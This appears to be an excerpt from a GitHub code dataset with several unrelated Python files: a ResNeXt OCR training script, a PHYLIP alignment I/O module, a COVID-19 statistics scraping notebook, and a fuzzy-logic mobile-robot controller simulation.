kernel_size=1, padding=1, stride=1, bias=False),\r\n nn.BatchNorm2d(64)\r\n )\r\n self.conv12 = nn.Sequential(\r\n nn.AvgPool2d(kernel_size=2, stride=2, padding=1),\r\n nn.Conv2d(in_channels=1, out_channels=64, kernel_size=1, padding=1, stride=1, bias=False)\r\n )\r\n self.conv1 = F.relu(self.conv11 +self.conv12)\r\n self.conv2 = self._block(layers=layers[0], stride=1)\r\n self.conv3 = self._block(layers=layers[1], stride=2)\r\n self.conv4 = self._block(layers=layers[2], stride=2)\r\n self.conv5 = self._block(layers=layers[3], stride=2)\r\n\r\n self.linear = nn.Linear(8 * cardinality * block_width, 10)\r\n\r\n def forward(self, inputs):\r\n network = self.conv1(inputs)\r\n network = self.conv2(network)\r\n network = self.conv3(network)\r\n network = self.conv4(network)\r\n network = self.conv5(network)\r\n print(network.shape)\r\n network = F.avg_pool2d(network, kernel_size=network.shape[2]//2)\r\n print(network.shape)\r\n network = network.view(network.size(0), -1)\r\n out = self.linear(network)\r\n\r\n return out, network\r\n\r\n def _block(self, layers, stride):\r\n strides = [stride] + [1] * (layers - 1) # strides=[1,1]\r\n layers = []\r\n for stride in strides:\r\n layers.append(Block(self.inputs, self.cardinality, self.block_width, stride))\r\n self.inputs = self.block_width * self.cardinality * Block.growth\r\n return nn.Sequential(*layers)\r\n\r\n\r\ndef ResNext50_32x4d():\r\n return ResnextNet(layers=[3, 4, 6, 3], cardinality=32, block_width=4)\r\n\r\n\r\ndef ResNext50_4x32d():\r\n return ResnextNet(layers=[3, 4, 6, 3], cardinality=4, block_width=32)\r\n\r\n\r\ndef ResNext101_32x4d():\r\n return ResnextNet(layers=[3, 4, 23, 3], cardinality=32, block_width=4)\r\n\r\n\r\ndef ResNext101_64x4d():\r\n return ResnextNet(layers=[3, 4, 23, 3], cardinality=64, block_width=4)\r\n\r\n\r\ntransform_train = transforms.Compose([\r\n #transforms.RandomCrop(32, padding=4), #先四周填充0,在吧图像随机裁剪成32*32\r\n transforms.Resize((32,32)),\r\n transforms.Grayscale(num_output_channels=1),\r\n transforms.ToTensor(),\r\n transforms.Normalize([0.5],[0.5]),\r\n])\r\n\r\ntransform_test = transforms.Compose([\r\n transforms.Resize((32,32)),\r\n\r\n transforms.Grayscale(num_output_channels=1),\r\n transforms.ToTensor(),\r\n transforms.Normalize([0.5],[0.5]),\r\n])\r\n\r\n# transform = T.Compose([\r\n#\r\n# T.RandomRotation(5),\r\n# T.Resize(32),\r\n# T.ToTensor()\r\n# ])\r\ndatatrain = ImageFolder('E:/sdxxsjj/traintry/',transform=transform_train)\r\ndatatest=ImageFolder('E:/sdxxsjj/testtry/',transform=transform_test)\r\n\r\nprint(datatrain[0][0].size())\r\n\r\ndatatrain1=datatrain\r\ndatatest1=datatest\r\n\r\n\r\ntrainloader = torch.utils.data.DataLoader(datatrain1, batch_size=128,shuffle=True,num_workers=0)\r\ntestloader = torch.utils.data.DataLoader(datatest1,batch_size=128,shuffle=False,num_workers=0)\r\n\r\nnet = ResNext50_4x32d()\r\n\r\n# #损失函数:这里用交叉熵\r\ncriterion = nn.CrossEntropyLoss()\r\n# #优化器这里用ADAM,一阶距和二阶距的指数衰减率\r\noptimizer = optim.Adam(net.parameters(),lr=0.1,betas=(0.9,0.99),eps=1e-06, weight_decay=0.002)\r\n#选择设备\r\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n#加载网络\r\nnet.to(device)\r\n\r\n##断点续训\r\n# checkpoint = torch.load('modelpara.pth')\r\n# net.load_state_dict(checkpoint['model_state_dict'])\r\n# optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\r\n# initepoch = checkpoint['epoch']+1\r\n# net.eval()\r\n#\r\n#\r\nprint(\"开始训练!\")\r\nnum_epochs = 1#训练次数\r\n#\r\ni=1\r\nfor epoch in range(num_epochs):\r\n running_loss = 0\r\n for i, data in enumerate(trainloader):\r\n inputs, labels = data\r\n #print(i)\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n outputs, aus = net(inputs)\r\n loss = criterion(outputs, labels)\r\n optimizer.zero_grad()#梯度初始化为零\r\n loss.backward()#反向传播\r\n optimizer.step()#更新所有参数\r\n print(i, loss.item())\r\n checkpoint = {\r\n 'epoch': epoch,\r\n 'model_state_dict': net.state_dict(),\r\n 'optimizer_state_dict': optimizer.state_dict(),\r\n }\r\n\r\n torch.save(checkpoint, 'modelpara.pth')\r\n print('经过%d个epoch后,损失为:%.4f'%(epoch+1, loss.item()))\r\n i=i+1\r\n str1 = 'zuizhong' + str(i) + '.pkl'\r\n torch.save(net, str1)\r\nprint(\"结束训练\")\r\n#保存训练模型\r\n\r\n\r\n#加载训练模型\r\nnet = torch.load(str1)\r\n#开始识别\r\nwith torch.no_grad():\r\n #在接下来的代码中,所有Tensor的requires_grad都会被设置为False\r\n correct = 0\r\n total = 0\r\n for data in testloader:\r\n images, labels = data\r\n images, labels = images.to(device), labels.to(device)\r\n out,ous = net(images)\r\n _, predicted = torch.max(out.data, 1)\r\n total += labels.size(0)\r\n correct += (predicted == labels).sum().item()\r\n print('测试集图片的准确率是:{}%'.format(100 * correct / total)) #输出识别准确率\r\n","repo_name":"aeadod/ocr-torch","sub_path":"MyTwitorch .py","file_name":"MyTwitorch .py","file_ext":"py","file_size_in_byte":7451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5408058227","text":"# Input and output functions for PHYLIP format.\n\n\n# This function may overlap with read_phylip_infile\ndef read_phylip_msa_true(fileLoc):\n \"\"\"\n read multiple string alignment from a file (PHYLIP format, .phylip.txt)\n input:\n fileLoc: location of the file, a string\n output:\n multiAlign: dict, seqName -> seqValue\n \"\"\"\n multiAlign = {}\n f = open(fileLoc)\n # initialization for the first row\n row = f.readline()\n for row in f:\n if row == '\\n':\n return multiAlign\n break\n else:\n taxaName, taxaValue = row.split()\n multiAlign[taxaName] = taxaValue\n\n\n# # This function seems to fail, not used for now.\n# def read_phylip_infile(fileLoc):\n# \"\"\"\n# read multiple string alignment from a file (PHYLIP format, .phylip.txt)\n# input:\n# fileLoc: location of the file, a string\n# output:\n# multiAlign: dict, seqName -> seqValue\n# \"\"\"\n# multiAlign = {}\n# f = open(fileLoc)\n# # initialization for the first row\n# row = f.readline()\n# # in case there are empty rows\n# while row[0] != '>':\n# row = f.readline()\n# row = row.rstrip()\n# taxaName = row[1:]\n# taxaValue = ''\n# # any other rows\n# for row in f:\n# if row[0] == '>':\n# row = row.rstrip()\n# multiAlign[taxaName] = taxaValue\n# taxaName = row[1:]\n# taxaValue = ''\n# else:\n# row = row.rstrip()\n# taxaValue += row\n# multiAlign[taxaName] = taxaValue\n# return multiAlign\n\n\ndef dict_write_phylip(multiAlign, outputLoc, nameLengthFixed=False, fileName='msa.phylip.txt'):\n \"\"\"\n output a dict into phylip input format, with name 'msa.phylip.txt'\n input:\n multiAlign: dict, seqName -> multiple string alignment\n outputLoc: location folder of the output\n \"\"\"\n outputFile = outputLoc + '/' + fileName\n f = open(outputFile, 'w')\n keysAll = multiAlign.keys()\n keysAll.sort()\n nKey = len(keysAll)\n nSite = len(multiAlign.values()[0])\n f.write(str(nKey) + '\\t' + str(nSite) + '\\n')\n for key in keysAll:\n keyLen = len(key)\n if nameLengthFixed:\n if keyLen < 10:\n keyStr = key + ' ' * (10-keyLen)\n else:\n keyStr = key[:10]\n else:\n keyStr = key\n seqValue = multiAlign[key]\n f.write(keyStr+'\\t'+seqValue+'\\n')\n f.close()\n\n\ndef multialign_subs_only(multiAlign):\n \"\"\"\n keeps only substituions sites of a MSA\n \"\"\"\n multiAlignSubs = {}\n keys = multiAlign.keys()\n values = multiAlign.values()\n msaList = zip(*values)\n msaSubsList = [msa for msa in msaList if msa.count('-') == 0]\n msaSubsList = zip(*msaSubsList)\n for index in xrange(len(keys)):\n key = keys[index]\n value = msaSubsList[index]\n value = ''.join(value)\n multiAlignSubs[key] = value\n return multiAlignSubs\n\n\ndef dict_write_phylip_subs_only(multiAlign, outputLoc):\n \"\"\"\n output a dict into phylip input format, with name 'msaSubs.phylip.txt',\n substitions only\n input:\n multiAlign: dict, seqName -> multiple string alignment\n outputLoc: location folder of the output\n \"\"\"\n multiAlignSubs = multialign_subs_only(multiAlign)\n outputFile = outputLoc + '/msaSubs.phylip.txt'\n f = open(outputFile, 'w')\n keysAll = multiAlignSubs.keys()\n keysAll.sort()\n nKey = len(keysAll)\n nSite = len(multiAlignSubs.values()[0])\n f.write(str(nKey) + '\\t' + str(nSite) + '\\n')\n for key in keysAll:\n keyLen = len(key)\n if keyLen < 10:\n keyStr = key + ' ' * (10-keyLen)\n else:\n keyStr = key[:10]\n seqValue = multiAlignSubs[key]\n f.write(keyStr+seqValue+'\\n')\n f.close()\n\n\ndef dict_key_to_str(oneDict):\n newDict = {}\n for k, v in oneDict.iteritems():\n newKey = k.__str__()\n newDict[newKey] = v\n return newDict\n\n\ndef get_partition_from_all_pairs(pairs):\n res = []\n while len(pairs) > 0:\n pair1 = pairs[0]\n pairs.remove(pair1)\n seq1, seq2 = pair1\n for pair in pairs:\n if pair.count(seq1) == 0 and pair.count(seq2) == 0:\n pair2 = pair\n pairs.remove(pair2)\n break\n res.append([pair1, pair2])\n return res\n","repo_name":"yzhai220/geopip","sub_path":"src/io_phylip.py","file_name":"io_phylip.py","file_ext":"py","file_size_in_byte":4389,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32073573741","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Automated script to extract COVID-19 related data for all the states in India\n\n# ## Stage 1 - Data Extraction\n# \n# ### Modules to be used for data extraction\n\n# In[1]:\n\n\nfrom urllib import request as req\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup as bs\nimport lxml\n\n\n# In[2]:\n\n\n# Official website for data extraction\n\nurl = 'https://www.mohfw.gov.in/'\n\n\n# ### Step 1 - Connection Establishment\n# >This step comprises of three sub steps:\n# - Opening of client and establishing connection\n# - Reading the page content\n# - Closing the client and connection\n\n# In[3]:\n\n\n# opening the client connection\nclient = urlopen(url) \n\n# reading the data from the html page and storing it\npage_html = client.read()\n\n# closing the client connection\nclient.close()\n\n\n# ### Step 2 - Parsing of the web information\n\n# In[4]:\n\n\n# the extracted page is parsed using BeautifulSoup\npage_soup = bs(page_html, 'lxml')\n\n\n# ### Step 3 - Extraction of the web data (Web Scraping or Web Data extraction)\n# > Based on the type and volume of data, the data extraction step plays a very crucial role. \n\n# In[5]:\n\n\n# Extracting the name of the data source\n\ndata_source = page_soup.find(\"div\",{\"class\":\"logo-text\"}).text\n\n\n# \n\n# In[6]:\n\n\n# Upon checking the text present in the tag, there are newline characters present in the beginning and end of text.\n# the strip() is used to handle the newline characters.\n\ndata_source\n\n\n# In[7]:\n\n\nsrc = data_source.strip()\n\n\n# In[8]:\n\n\nsrc\n\n\n# In[9]:\n\n\n# Since the data gets updated very frequently, therefore the timestamp information becomes very handy\n# the below lines can be converted to a singe line by chaining the functions\n\n# 01. extracting the text information which contains the date and time\ntime_stamp = page_soup.find(\"div\",{\"class\":\"status-update\"}).text\nprint(\"01. After text extraction: \",time_stamp)\n\n\n# 02.stripping the newline characters\ntime_stamp = page_soup.find(\"div\",{\"class\":\"status-update\"}).text.strip()\ntime_stamp\nprint(\"02. After stripping the extra chars: \",time_stamp)\n\n# 03.After splitting the timestamp to extract the date and time string\ntime_stamp = page_soup.find(\"div\",{\"class\":\"status-update\"}).text.strip().split(\":\",1)\ntime_stamp\nprint(\"03. After splitting the text, returns a list: \",time_stamp)\n\n\n# In[10]:\n\n\n# In the above step after executing the split(), the time_stamp variable becomes a list and contains two elements.\n# time_stamp[1] contains the extraction timestamp details.\n# Storing the extraction date and time information.\n# Refer documentation of split() to understand further on how the list gets generated\n\nextr_date = time_stamp[1].split(\",\",1)[0].strip()\nprint(\"Extraction date:\",extr_date)\nextr_time = time_stamp[1].split(\",\",1)[1].strip() #chaining the strip() to remove the spaces from the beginning\nprint(\"Extraction time:\",extr_time)\n\n\n# In[11]:\n\n\n# Extraction of summary level data \n# Extracting the text from the list<> and strong<>\n\nactive = page_soup.find(\"li\",{\"class\":\"bg-blue\"}).strong.text \ncured = page_soup.find(\"li\",{\"class\":\"bg-green\"}).strong.text\ndeaths = page_soup.find(\"li\",{\"class\":\"bg-red\"}).strong.text\nprint(\"Active Cases : \", active)\nprint(\"Cured Cases : \", cured) \nprint(\"Total Deaths: \", deaths)\n\n\n# In[12]:\n\n\n# Beginning of the state-wise data extraction\n# Since the data is stored in multiple rows of a table\n# therefore the table was first identified and the rows were saved in a resultset \n\nhtml_table = page_soup.find(\"table\",{\"class\":\"table table-striped\"})\ntbody = html_table.findAll(\"tr\")\n\n\n# In[13]:\n\n\nprint(type(html_table))\nprint(type(tbody))\n\n\n# In[14]:\n\n\n# The row level state wise information was looped and the data was extracted\n# The replace() was used in order to remove the newline characters and replace them with comma(,).\n# Ignoring the first Header row and the bottom 5 assumptions, therefore the range() is used from 1 till (len(table body)-5)\n\ndata = []\nfor i in range(1,(len(tbody)-5)):\n data_row = tbody[i].text.strip().replace(\"\\n\",\",\")\n data.append(data_row)\n\n\n# In[15]:\n\n\ndata[0:3]\n\n\n# ## Stage 2 - Data Loading & Manipulation\n# ### Modules to be used for data manipulation\n\n# In[16]:\n\n\nimport pandas as pd\n\n\n# In[18]:\n\n\n# the extracted dataset is now loaded into Pandas dataframe\n\ndf = pd.DataFrame(data)\n\n\n# In[19]:\n\n\n# Viewing the data\ndf.head()\n\n# Upon checking the data, looks like the extracted data has only 1 column and the data is missing the headers.\n# The state wise data in the website looks something like the below:\n# |------------------------------------------------------------------------------------------------|\n# |'Sl No.'| 'Name of State/UT' | 'Total Confirmed Cases' | 'Cured/Discharged/Migrated' | 'Deaths' |\n# | 1 | Odisha | 377 | 68 | 3 |\n# |------------------------------------------------------------------------------------------------|\n\n\n# In[20]:\n\n\n# The data is engineered using the string manipulation functions in pandas\n# The string in the Column 0 is separated by using the split() and referencing the comma(,) separator\n\ndf = pd.DataFrame(df[0].str.split(\",\",4).tolist())\n\n\n# In[21]:\n\n\ndf.head(3)\n\n\n# In[22]:\n\n\n# Updating the column names \n\ndf.columns = ['Sl No','Name of State/ UT','Total Confirmed Cases','Cured/Discharged/Migrated','Deaths']\n\n# deleting the Sl No. column from the data frame\ndf = df.drop(columns=['Sl No'])\ndf\n\n\n# In[23]:\n\n\ndf.head(3)\n\n\n# In[24]:\n\n\ndf['Date'] = extr_date\ndf['Time'] = extr_time\ndf.head(3)\n\n\n# In[25]:\n\n\ndf.head(3)\n\n\n# In[278]:\n\n\n# Installing the and importing the required modules in order to save the file in excel format.\n\n#import openpyxl as exl\n\n\n# In[279]:\n\n\n# Excel file with the specified name gets saved in the same working directory as the python notebook\n\n#df.to_excel(r'India_11_05.xlsx', index = False, header=True)\n\n\n# In[26]:\n\n\n# exporting the data frame to csv format\ndf.to_csv('covid_11_05.csv', mode ='a',header=False,index= False)\n\n\n# In[27]:\n\n\n# loading the recently created csv into dataframe\n\ndf1 = pd.read_csv('covid_11_05.csv')\ndf1[\"Total Confirmed Cases\"].max()\n\n\n# In[28]:\n\n\ndf1\n\n\n# In[29]:\n\n\ndf1 =df1.sort_values(by =\"Total Confirmed Cases\",ascending = False)\n\n\n# In[30]:\n\n\ndf1.head(3)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"etegaurav/Projects","sub_path":"Data Extraction Projects/01. Web data extraction/Covid-19 _Data_Extraction/COVID-19_Status_India.py","file_name":"COVID-19_Status_India.py","file_ext":"py","file_size_in_byte":6302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14657386633","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Optimization of Fuzzy Logic Controller Used for a Differential Drive Wheeled Mobile Robot\n\n# In[ ]:\n\n\n_runDemos = True # this is queried in this document later multiple times\n\n\n# ## Cluster Query\n\n# This task could use for its solution a computer cluster. As it is optional, use it only when you are running it. In this case you must set the option ```useCluster``` to ```True``` and set proper value in ```url``` variable.\n\n# In[ ]:\n\n\nuseCluster = False\nurl = 'https://ourserver/api/evaluator/FFFF'\n\nif useCluster:\n url = input('Enter full / https include / cluster URL: \\t')\n\n\n# In[ ]:\n\n\n# get_ipython().system('pip install scikit-fuzzy')\n\n\n# In[ ]:\n\n\nimport numpy as np\nimport math\nimport random\nfrom math import *\nimport scipy.integrate as integrate\nimport matplotlib.pyplot as plt\nimport pandas as pd\n# get_ipython().run_line_magic('matplotlib', 'inline')\nimport skfuzzy as fuzz\n\n\n# ## Robot parameters\n\n# In[ ]:\n\n\nrobotState0 = {\n 'x': 0,\n 'y': 0,\n 'theta': -3.14 / 4\n}\n\nrobotParams = {\n 'r': 0.0925,\n 'b': 0.37,\n 'm': 9,\n 'I': 0.16245,\n}\n\n\n# ## Robot models\n\n# ### Kinematic model\n\n# In[ ]:\n\n\nfrom math import sin, cos\ndef createRobot(params):\n m = params['m']\n I = params['I']\n\n def robot(t, currentState, controller):\n # ask controller for velocity and omega\n velocity, omega = controller(t, currentState)\n\n currentTheta = currentState[2]\n cosTheta = cos(currentTheta)\n sinTheta = sin(currentTheta)\n\n x_dot = velocity * cosTheta\n y_dot = velocity * sinTheta\n theta_dot = omega\n\n E = 0.5 * (m * velocity * velocity + I * omega * omega)\n\n return [x_dot, y_dot, theta_dot, velocity, omega, E] # velocity, omega, E are returned for easy evaluation they are not needed for computation\n return robot\n\nrobot = createRobot(robotParams)\n\n\n# ### Dynamic Model\n\n# Dynamic model extends kinematic model with differential equations describing the motors.\n\n# In[ ]:\n\n\n# example of motor parameters,\nmotorParams = {\n 'J': 0.01,\n 'B': 0.1,\n \n 'Kt': 0.01,\n 'Ke': 0.01,\n 'K': 0.01,\n \n 'Ra': 0.1,\n 'La': 0.01\n}\n\n#//////////////////////////////////////////////////////////////////////////////\ndef createFilter2ndOrder(b1, b0, a1, a0):\n def filter2ndOrder(t, u, currentState):\n x0 = currentState[0]\n x1 = currentState[1]\n dx0 = b0 * u + a0 * x0 + x1\n dx1 = b1 * u + a1 * x0\n return [dx0, dx1]\n return filter2ndOrder\n\ndef createMotorModel(motorParams=None):\n if motorParams is None:\n return None\n \n K = motorParams['K']\n J = motorParams['J']\n La = motorParams['La']\n Ra = motorParams['Ra']\n B = motorParams['B']\n \n b1 = K / (La * J)\n b0 = 0\n a1 = -(Ra * B + K * K) / (La * J)\n a0 = -(Ra * J + La * B) / (La * J)\n return createFilter2ndOrder(b1, b0, a1, a0)\n \n\ndef createRobotModelWithDynamic(params, motorModel = None):\n \"\"\"\n function returns standard ODE model usable in many libraries (scipy)\n \"\"\"\n # motorAsFilter = createFilter2ndOrder(b1, b0, a1, a0)\n m = params['m']\n I = params['I']\n b = params['b']\n\n motorAsFilter = motorModel\n def robotWithDynamic(t, currentState, controller):\n # ask controller for velocity and omega\n velocity, omega = controller(t, currentState)\n\n delta = omega * b / 2\n vL = velocity - delta\n vR = velocity + delta\n vLState = currentState[6:8]\n vRState = currentState[8:10]\n vLStateD = motorAsFilter(t, vL, vLState)\n vRStateD = motorAsFilter(t, vR, vRState)\n vLFiltered = vLState[0]\n vRFiltered = vRState[0]\n\n velocity = (vRFiltered + vLFiltered) / 2\n delta = (vRFiltered - vLFiltered) / 2\n omega = 2 * delta / b\n\n currentTheta = currentState[2]\n cosTheta = cos(currentTheta)\n sinTheta = sin(currentTheta)\n\n x_dot = velocity * cosTheta\n y_dot = velocity * sinTheta\n theta_dot = omega\n\n E = 0.5*(m*(velocity)*(velocity) + I*(omega)*(omega))\n\n return [x_dot, y_dot, theta_dot, velocity, omega, E, *vLStateD, *vRStateD] #velocity, omega, E are returned for easy evaluation they are not needed for computation\n\n def robot(t, currentState, controller):\n \"\"\"\n This closure is result of parent function\n \"\"\"\n # ask controller for velocity and omega\n velocity, omega = controller(t, currentState)\n\n currentTheta = currentState[2]\n cosTheta = cos(currentTheta)\n sinTheta = sin(currentTheta)\n\n x_dot = velocity * cosTheta\n y_dot = velocity * sinTheta\n theta_dot = omega\n\n E = 0.5 * (m * velocity * velocity + I * omega * omega)\n\n return [x_dot, y_dot, theta_dot, velocity, omega, E] #velocity, omega, E are returned for easy evaluation they are not needed for computation\n\n if motorModel is None:\n return robot\n else:\n return robotWithDynamic\n pass\n \nmotorModel = createMotorModel(motorParams) \nrobotWithDynamic = createRobotModelWithDynamic(robotParams, motorModel)\nrobot = robotWithDynamic # If you delete / comment this line, only the Kinematic model is taken into account.\n\n\n# ## Solver\n\n# In[ ]:\n\n\n# selectors are defined for extration of data from results computed by ODE solver\nselectx = lambda item: item['y'][0] # x position\nselecty = lambda item: item['y'][1] # y position\nselectt = lambda item: item['time'] # time\nselectv = lambda item: item['dy'][3] # velocity\nselectomega = lambda item: item['dy'][2] # omega = theta_dot\nselecte = lambda item: item['TotalEnergy']# total energy\nselects = lambda item: item['y'][3] # displacement\nselectors = {\n 'time': selectt,\n 'x': selectx, \n 'y': selecty, \n 'd': selects, \n 'v': selectv, \n 'omega': selectomega,\n 'E': selecte}\n\n# yIndex=0, yIndex=1, yIndex=2, yIndex=3, yIndex=4, yIndex=5, yIndex=6,\ndef compute(model, state0, t0 = 0.0, t_bound = 10, max_step = 0.05):\n \"\"\"\n This function returns a generator containing the sequence of resuls. \n In this particular case it will return a sequence of robot states.\n \"\"\"\n solver = integrate.RK45(fun = model, t0 = t0, y0 = state0, t_bound = t_bound, max_step = max_step)\n cnt = 0\n lastEnergy = 0\n totalEnergy = 0\n\n #names = ['t', 'x', 'y', 'θ', 's', 'θ2', 'IE', \"x'\", \"y'\", 'ω', 'v', 'ω2', 'E']\n while True:\n message = solver.step()\n #currentItem = [solver.t, *solver.y, *model(solver.t, solver.y)]\n currentItem = {'time': solver.t, 'y': solver.y, 'dy': model(solver.t, solver.y)}\n #t, 'solver.y': x, y, theta, s, theta, intE 'model': x', y', theta', velocity, omega, E\n #0, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 5 \n # Energy calculation / energy sumation\n currentEnergy = currentItem['dy'][5] #currentNamed['E']\n deltaEnergy = currentEnergy - lastEnergy\n\n if deltaEnergy > 0:\n totalEnergy = totalEnergy + deltaEnergy\n\n lastEnergy = currentEnergy\n currentItem['TotalEnergy'] = totalEnergy\n\n yield currentItem\n if (not(solver.status == 'running')):\n break\n return\n\n\n# ## Path Controller\n\n# Path Controller transforms a controller navigating robot towards a fixed distance to controller able switch the destination immediately after reaching point defined by a path.\n\n# In[ ]:\n\n\ndef controllerForPath(controller, path, distanceEps=1e-2):\n destinationX, destinationY, destinationOrietation = next(path)\n destinationState = [destinationX, destinationY, destinationOrietation]\n lastReached = False\n #print('Destination set to', destinationState)\n def result(t, currentState):\n \"\"\"\n This closure is result of parent function and acts as a controller - mediator,\n which commands the given controller.\n \"\"\"\n nonlocal destinationX # use parent variable\n nonlocal destinationY # use parent variable\n nonlocal destinationState # use parent variable\n nonlocal lastReached # use parent variable\n\n currentX = currentState[0]\n currentY = currentState[1]\n deltaX = destinationX - currentX\n deltaY = destinationY - currentY\n if (lastReached == False):\n # last point in path was not reached\n if (deltaX * deltaX + deltaY * deltaY < distanceEps):\n # robot is close enought to currentDestination\n try:\n # try to get another point on path\n destinationX, destinationY, destinationOrietation = next(path)\n destinationState = [destinationX, destinationY, destinationOrietation]\n #print('Destination set to', destinationState, 'while in state', currentState)\n except StopIteration:\n # there are no other points\n lastReached = True\n if (lastReached):\n return (0, 0)\n else:\n return controller(t, currentState, destinationState)\n return result\n\n\n# ## Model Creator\n\n# Model creator is function which packs all subsystems into one described by standard ODE function. Standard methods for ODE problems could be applied on such result / function.\n\n# In[ ]:\n\n\ndef robotModelCreator(controllerCreator, path, **kwargs):\n controller_ = controllerCreator(**kwargs)\n savedController = controllerForPath(controller_, path)\n def resultRMC(t, currentState):\n return robot(t, currentState, savedController)\n return resultRMC\n\n\n# ## Computation\n\n# Simple compute allows to fully define parameters at first and then use it on model. Such approach is usefull in case when different models (controllers) are used for same task. In this case this function simplify comparison of different controllers.\n\n# In[ ]:\n\n\ndef simpleCompute(computefunc, state0, t0 = 0, t_bound = 200, max_step = 0.05):\n def resultSC(model):\n return computefunc(\n model, state0 = state0, t0 = t0, t_bound = t_bound, max_step = max_step)\n return resultSC\n\n\n# ## Controllers\n\n# All controllers have to have same signature (parameter list)\n# \n# ```python\n# def controller(t, currentState, destinationState)\n# ```\n# \n# thus a creator taking special controller parameters must be defined. Such a creator should accept all special parameters and return controller with standard signature.\n\n# ### Circle Controller\n\n# In[ ]:\n\n\ndef createCircleControllerWithGain(gain, omega_ri, vri, lowVelocityLimit, highVelocityLimit, lowOmegaLimit, highOmegaLimit):\n def controller(t, currentState, destinationState):\n currentX = currentState[0]\n currentY = currentState[1]\n currentTheta = currentState[2]\n\n destinationX = destinationState[0]\n destinationY = destinationState[1]\n\n cosTheta = cos(currentTheta)\n sinTheta = sin(currentTheta)\n\n deltaX = destinationX - currentX\n deltaY = destinationY - currentY\n\n velocity = vri\n omega = -2 * gain * vri * (deltaX * sinTheta - deltaY * cosTheta) / (deltaX * deltaX + deltaY * deltaY)\n \n if (velocity > highVelocityLimit):\n velocity = highVelocityLimit\n if (velocity < lowVelocityLimit):\n velocity = lowVelocityLimit\n if (omega > highOmegaLimit):\n omega = highOmegaLimit\n if (omega < lowOmegaLimit):\n omega = lowOmegaLimit\n\n return velocity, omega\n return controller\n\n\n# #### Full Example of Use\n\n# In[ ]:\n\n\ndef localDemo():\n pathForSimulation = iter([\n [0, 0, 0], #X, Y, orientation\n [10, 0, 0], #X, Y, orientation\n [10, 10, 0], #X, Y, orientation\n [0, 10, 0], #X, Y, orientation\n [0, 0, 0]\n ])\n\n pathForSimulation = iter([\n [0, 0, 0], #X, Y, orientation\n [10, 0, 0], #X, Y, orientation\n [10, 10, 0], #X, Y, orientation\n [20, 10, 0], #X, Y, orientation\n [20, 20, 0]\n ])\n\n\n robotState0 = {\n 'x': 0,\n 'y': 0,\n 'theta': -3.14 / 4\n }\n\n t0 = 0\n t_bound = 100\n max_step = 0.05\n\n state0 = None\n if robot == robotWithDynamic:\n state0 = np.array([robotState0['x'], robotState0['y'], robotState0['theta'], 0, 0, 0, 0, 0, 0, 0]) # x0=0, y0=0, theta\n else:\n state0 = np.array([robotState0['x'], robotState0['y'], robotState0['theta'], 0, 0, 0]) # x0=0, y0=0,theta\n\n solverfunc = simpleCompute(\n compute, state0 = state0, \n t0 = t0, t_bound = t_bound, max_step = max_step) \n\n controllerParams = {\n 'gain': 4, \n 'omega_ri': 0, \n 'vri': 2.0, \n 'lowVelocityLimit': 0.2, \n 'highVelocityLimit': 2.0, \n 'lowOmegaLimit': -0.75, \n 'highOmegaLimit': 0.75\n }\n\n fullRobot = robotModelCreator(createCircleControllerWithGain, pathForSimulation, **controllerParams) \n state1 = fullRobot(0, state0)\n robotStates = solverfunc(fullRobot)\n\n results = {}\n for key, selector in selectors.items():\n print(key)\n results[key] = []\n\n for currentState in robotStates: # readout all states from current moving robot\n for key, selector in selectors.items():\n results[key].append(selector(currentState))\n\n plt.plot(results['x'], results['y'])\n\nif _runDemos:\n localDemo()\n\n\n# ### Robins\n\n# In[ ]:\n\n\ndef createController_By_RobinsMathew(k0, k1, omega_ri, vri, lowVelocityLimit, highVelocityLimit, lowOmegaLimit, highOmegaLimit):\n def controller(t, currentState, destinationState):\n currentX = currentState[0]\n currentY = currentState[1]\n currentTheta = currentState[2]\n\n destinationX = destinationState[0]\n destinationY = destinationState[1]\n\n cosTheta = cos(currentTheta)\n sinTheta = sin(currentTheta)\n \n deltaX = destinationX - currentX\n deltaY = destinationY - currentY\n theta_destination = atan2(deltaY, deltaX)\n theta_error = theta_destination - currentTheta\n\n Te = math.sin(theta_destination)*deltaX - math.cos(theta_destination)*deltaY\n \n velocity = vri*math.cos(theta_error)\n omega = omega_ri + k0*vri*Te + k1*vri*math.sin(theta_error)\n\n if velocity > highVelocityLimit:\n velocity = highVelocityLimit\n if (velocity < lowVelocityLimit):\n velocity = lowVelocityLimit\n if omega > highOmegaLimit:\n omega = highOmegaLimit\n if (omega < lowOmegaLimit):\n omega = lowOmegaLimit\n \n return velocity, omega\n return controller\n\n\n# ### Fuzzy Logic Controller\n\n# #### Helper Functions\n\n# In[ ]:\n\n\ndef createFuzzyfier(space, categories, trimf = fuzz.trimf, membership = fuzz.interp_membership):\n fuzzyInput = {}\n for key, value in categories.items():\n fuzzyInput[key] = trimf(space, value)\n def result(variable):\n output = {}\n for key, value in fuzzyInput.items():\n output[key] = membership(space, value, variable)\n if output[key] ==0:\n output[key] = 1e-5\n else:\n output[key] = output[key] \n return output\n return result\n\ndef createInferenceSystem(inputAfuzzyfier, inputBfuzzyfier, outputSpace, outputDict, rulesDict, trimf = fuzz.trimf):\n fuzzyResults = {}\n for keyA, outerValue in rulesDict.items():\n if not(keyA in fuzzyResults):\n fuzzyResults[keyA] = {}\n for keyB, innerValue in outerValue.items():\n fuzzyResults[keyA][keyB] = trimf(outputSpace, outputDict[innerValue]) #innerValue==outputDict[keyA][keyB]\n def result(valueA, valueB):\n fuzzyVariableA = inputAfuzzyfier(valueA)\n fuzzyVariableB = inputBfuzzyfier(valueB)\n fuzzyResult = None\n for keyA, outerValue in rulesDict.items():\n for keyB, resultValue in outerValue.items():\n currentResult = np.fmin(fuzzyResults[keyA][keyB],\n np.fmin(fuzzyVariableA[keyA], fuzzyVariableB[keyB]))\n if fuzzyResult is None:\n fuzzyResult = currentResult\n else:\n fuzzyResult = 